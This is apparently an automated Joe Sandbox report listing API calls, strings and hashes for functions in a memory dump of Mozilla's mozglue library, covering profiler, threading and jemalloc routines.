strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C35CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C35CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C35CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C35CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C35CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C35CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C35CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C35CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C35CE8A

Strings

unregisteredthreads, xrefs: 6C35CE58
seqstyle, xrefs: 6C35CCE6
nativeallocations, xrefs: 6C35CDA8
default, xrefs: 6C35CC21
noiostacks, xrefs: 6C35CCBE
preferencereads, xrefs: 6C35CD92
mainthreadio, xrefs: 6C35CC7C
samplingallthreads, xrefs: 6C35CE2C
notimerresolutionchange, xrefs: 6C35CE00
fileio, xrefs: 6C35CC92
processcpu, xrefs: 6C35CE6E
audiocallbacktracing, xrefs: 6C35CDD4
markersallthreads, xrefs: 6C35CE42
Unrecognized feature "%s"., xrefs: 6C35CEA0
screenshots, xrefs: 6C35CCD4
jsallocations, xrefs: 6C35CD0E
cpuallthreads, xrefs: 6C35CE16
power, xrefs: 6C35CE84
stackwalk, xrefs: 6C35CCF8
ipcmessages, xrefs: 6C35CDBE
leaf, xrefs: 6C35CC66
java, xrefs: 6C35CC37
nostacksampling, xrefs: 6C35CD7C
fileioall, xrefs: 6C35CCA8

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 35042460c93523097b803fb29893a298ff53769aa0ccdab62e00c07ab769c36e
Instruction ID: 58e42b7a3f69dd6229c49e03aeddf4aa3b3620f28bc53883542e197308e4315e
Opcode Fuzzy Hash: 35042460c93523097b803fb29893a298ff53769aa0ccdab62e00c07ab769c36e
Instruction Fuzzy Hash: B251ADD1A0732512FA0031257D10FAA148DEF5F24EF944535DE46E1E80FB4E962ACEB7

Function 6C3247C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C324801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C324817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C32482D
__Init_thread_footer.LIBCMT ref: 6C32484A

Part of subcall function 6C34AB3F: EnterCriticalSection.KERNEL32(6C39E370,?,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284), ref: 6C34AB49
Part of subcall function 6C34AB3F: LeaveCriticalSection.KERNEL32(6C39E370,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34AB7C

GetCurrentThreadId.KERNEL32 ref: 6C32485F
GetCurrentThreadId.KERNEL32 ref: 6C32487E
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32488B
free.MOZGLUE(?), ref: 6C32493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C324956
free.MOZGLUE(00000000), ref: 6C324960
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32499A

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

free.MOZGLUE(?), ref: 6C3249C6
free.MOZGLUE(?), ref: 6C3249E9

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C324828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C324812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C324A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C3247FC
[I %d/%d] profiler_shutdown, xrefs: 6C324A06

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: c2dd4d394d0503397b33b0256ab2a251eb1fc16db5c257b6028f4d6507e3b170
Instruction ID: b0acefb4ea323cea6803f1e5b11b8df142e957ee205e52636b8b13f98680ce9c
Opcode Fuzzy Hash: c2dd4d394d0503397b33b0256ab2a251eb1fc16db5c257b6028f4d6507e3b170
Instruction Fuzzy Hash: C981D071A001108BDF10DF28D88479A37B9EF4631CF140629E9569BB81F73BE854CFA6

Function 6C324470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C324730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C3244B2,6C39E21C,6C39F7F8), ref: 6C32473E
Part of subcall function 6C324730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C32474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C3244BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C3244D2
InitOnceExecuteOnce.KERNEL32(6C39F80C,6C31F240,?,?), ref: 6C32451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C32455C
LoadLibraryW.KERNEL32(?), ref: 6C324592
InitializeCriticalSection.KERNEL32(6C39F770), ref: 6C3245A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C3245AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C3245BB
InitOnceExecuteOnce.KERNEL32(6C39F818,6C31F240,?,?), ref: 6C324612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C324636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C324644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C32466D
VerSetConditionMask.NTDLL ref: 6C32469F
VerSetConditionMask.NTDLL ref: 6C3246AB
VerSetConditionMask.NTDLL ref: 6C3246B2
VerSetConditionMask.NTDLL ref: 6C3246B9
VerSetConditionMask.NTDLL ref: 6C3246C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C3246CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C3246F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C3246FD

Strings

WRusr.dll, xrefs: 6C3244B5
user32.dll, xrefs: 6C324557, 6C32463F
kernel32.dll, xrefs: 6C3244CD
G9l, xrefs: 6C3244FC
NativeNtBlockSet_Write, xrefs: 6C3246F7
l, xrefs: 6C324578

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: G9l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-4155262
Opcode ID: 4ca5e070a7898544b1fc128e13f372c31f159345e295cf35469cbfc32708b032
Instruction ID: 63ea1677771bace2d03a232fa0c034863835c3a8a469ff91cefaf3123f3f50d1
Opcode Fuzzy Hash: 4ca5e070a7898544b1fc128e13f372c31f159345e295cf35469cbfc32708b032
Instruction Fuzzy Hash: 326114B0A04344AFEF109F61DC09BA57BBCEB4A70CF148558F5449B641F7BA8945CFA1

Function 6C35F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C35F8F9

Part of subcall function 6C326390: GetCurrentThreadId.KERNEL32 ref: 6C3263D0
Part of subcall function 6C326390: AcquireSRWLockExclusive.KERNEL32 ref: 6C3263DF
Part of subcall function 6C326390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C32640E

ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F93A
GetCurrentThreadId.KERNEL32 ref: 6C35F98A
GetCurrentThreadId.KERNEL32 ref: 6C35F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F716

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

Part of subcall function 6C31B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C31B5E0

GetCurrentThreadId.KERNEL32 ref: 6C35F739
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F746
GetCurrentThreadId.KERNEL32 ref: 6C35F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C39385B,00000002,?,?,?,?,?), ref: 6C35F829
free.MOZGLUE(?,?,00000000,?), ref: 6C35F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C35F866
free.MOZGLUE(?), ref: 6C35FA0C

Part of subcall function 6C325E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C325E8C
Part of subcall function 6C325E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325E9D
Part of subcall function 6C325E60: GetCurrentThreadId.KERNEL32 ref: 6C325EAB
Part of subcall function 6C325E60: GetCurrentThreadId.KERNEL32 ref: 6C325EB8
Part of subcall function 6C325E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325ECF
Part of subcall function 6C325E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C325F27
Part of subcall function 6C325E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C325F47
Part of subcall function 6C325E60: GetCurrentProcess.KERNEL32 ref: 6C325F53
Part of subcall function 6C325E60: GetCurrentThread.KERNEL32 ref: 6C325F5C
Part of subcall function 6C325E60: GetCurrentProcess.KERNEL32 ref: 6C325F66
Part of subcall function 6C325E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C325F7E

free.MOZGLUE(?), ref: 6C35F9C5
free.MOZGLUE(?), ref: 6C35F9DA

Strings

Thread , xrefs: 6C35F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C35F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C35F9A6
" attempted to re-register as ", xrefs: 6C35F858

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 82e00ec57a47285d96a6458e1473e85d2dee07bc986232204ffc02795e0adff8
Instruction ID: 3b1efa7868ececccca9693e74c5dbd9c21cc5e17c8b46819b4a8897801a05c7e
Opcode Fuzzy Hash: 82e00ec57a47285d96a6458e1473e85d2dee07bc986232204ffc02795e0adff8
Instruction Fuzzy Hash: 3C8127B1A047409FDB10DF24C840AAEB7B9EF89308F85455DE8899BB51EB31D859CF93

Function 6C35EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35EE60
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EE6D
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C35EEA5
CloseHandle.KERNEL32(?), ref: 6C35EEB4
free.MOZGLUE(00000000), ref: 6C35EEBB
GetCurrentThreadId.KERNEL32 ref: 6C35EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35EECF

Part of subcall function 6C35DE60: GetCurrentThreadId.KERNEL32 ref: 6C35DE73
Part of subcall function 6C35DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C324A68), ref: 6C35DE7B
Part of subcall function 6C35DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C324A68), ref: 6C35DEB8
Part of subcall function 6C35DE60: free.MOZGLUE(00000000,?,6C324A68), ref: 6C35DEFE
Part of subcall function 6C35DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C35DF38

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

GetCurrentThreadId.KERNEL32 ref: 6C35EF1E
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EF2B
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EF59
GetCurrentThreadId.KERNEL32 ref: 6C35EFB0
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EFBD
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EFE1
GetCurrentThreadId.KERNEL32 ref: 6C35EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F000

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F02F

Part of subcall function 6C35F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C35F09B
Part of subcall function 6C35F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C35F0AC
Part of subcall function 6C35F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C35F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C35EED7
[I %d/%d] profiler_pause, xrefs: 6C35F008

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 75ae3b51f22d91c15c2bbb04fd2936db5ab6b1e907fb9e6c4cff37f438d1a225
Instruction ID: 20c5fef36097ca4f70937f87a1e724fffffd75f1806163750a11b64ce0b54c95
Opcode Fuzzy Hash: 75ae3b51f22d91c15c2bbb04fd2936db5ab6b1e907fb9e6c4cff37f438d1a225
Instruction Fuzzy Hash: 8151D076A043109FDB109F64E408BA937BCEB4A31DF510519F95A87B40FB3B5824CFA2

Function 6C34D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C39E804), ref: 6C34D047
GetSystemInfo.KERNEL32(?), ref: 6C34D093
__Init_thread_footer.LIBCMT ref: 6C34D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C39E810,00000040), ref: 6C34D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7B8,00001388), ref: 6C34D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E744,00001388), ref: 6C34D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E784,00001388), ref: 6C34D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7DC,00001388), ref: 6C34D1B1

Strings

MALLOC_OPTIONS, xrefs: 6C34D0CB
MOZ_CRASH(), xrefs: 6C34D277
<jemalloc>, xrefs: 6C34D268, 6C34D311
Compile-time page size does not divide the runtime one., xrefs: 6C34D26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C34D322

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 0fc4a796b270665ba140f5309a8e6da842cad8223329f04547087d614fe0beec
Instruction ID: 2784f795c67a70958ffa08d5af0b81bf71cc1e8b2a4d29ae427bc3545493b5d1
Opcode Fuzzy Hash: 0fc4a796b270665ba140f5309a8e6da842cad8223329f04547087d614fe0beec
Instruction Fuzzy Hash: 7281BC70B043109BEB149FA8D854BA937FDFB06709F108529E9419BB80F7769805CFD2

Function 6C327FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C328007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C32801D

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C32802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C32803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C32808D

Part of subcall function 6C32CA10: mozalloc_abort.MOZGLUE(?), ref: 6C32CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C32809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C3280B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C3280DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3280ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3280FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C32810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C328133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C328149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C328167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C32817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C328199

Strings

0>5l, xrefs: 6C32811E

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>5l
API String ID: 2721933968-430899426
Opcode ID: 2989b4a0f1652e595581034f2a46b5648d6a0728199ee5f80a342d0378a9a98c
Instruction ID: 632fa501fa992bd35ee4d747361480727f0e388893340a48830795dde0783f47
Opcode Fuzzy Hash: 2989b4a0f1652e595581034f2a46b5648d6a0728199ee5f80a342d0378a9a98c
Instruction Fuzzy Hash: 3A5184B2E002545BDF00DFA5EC84AEFB7B9AF49224F140125E955E7781E735E904CFA2

Function 6C325E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325E9D

Part of subcall function 6C335B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3356EE,?,00000001), ref: 6C335B85
Part of subcall function 6C335B50: EnterCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335B90
Part of subcall function 6C335B50: LeaveCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335BD8
Part of subcall function 6C335B50: GetTickCount64.KERNEL32 ref: 6C335BE4

GetCurrentThreadId.KERNEL32 ref: 6C325EAB
GetCurrentThreadId.KERNEL32 ref: 6C325EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C326017

Part of subcall function 6C314310: moz_xmalloc.MOZGLUE(00000010,?,6C3142D2), ref: 6C31436A
Part of subcall function 6C314310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C3142D2), ref: 6C314387

moz_xmalloc.MOZGLUE(00000004), ref: 6C325F47
GetCurrentProcess.KERNEL32 ref: 6C325F53
GetCurrentThread.KERNEL32 ref: 6C325F5C
GetCurrentProcess.KERNEL32 ref: 6C325F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C325F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C325F27

Part of subcall function 6C32CA10: mozalloc_abort.MOZGLUE(?), ref: 6C32CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C325E8C

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

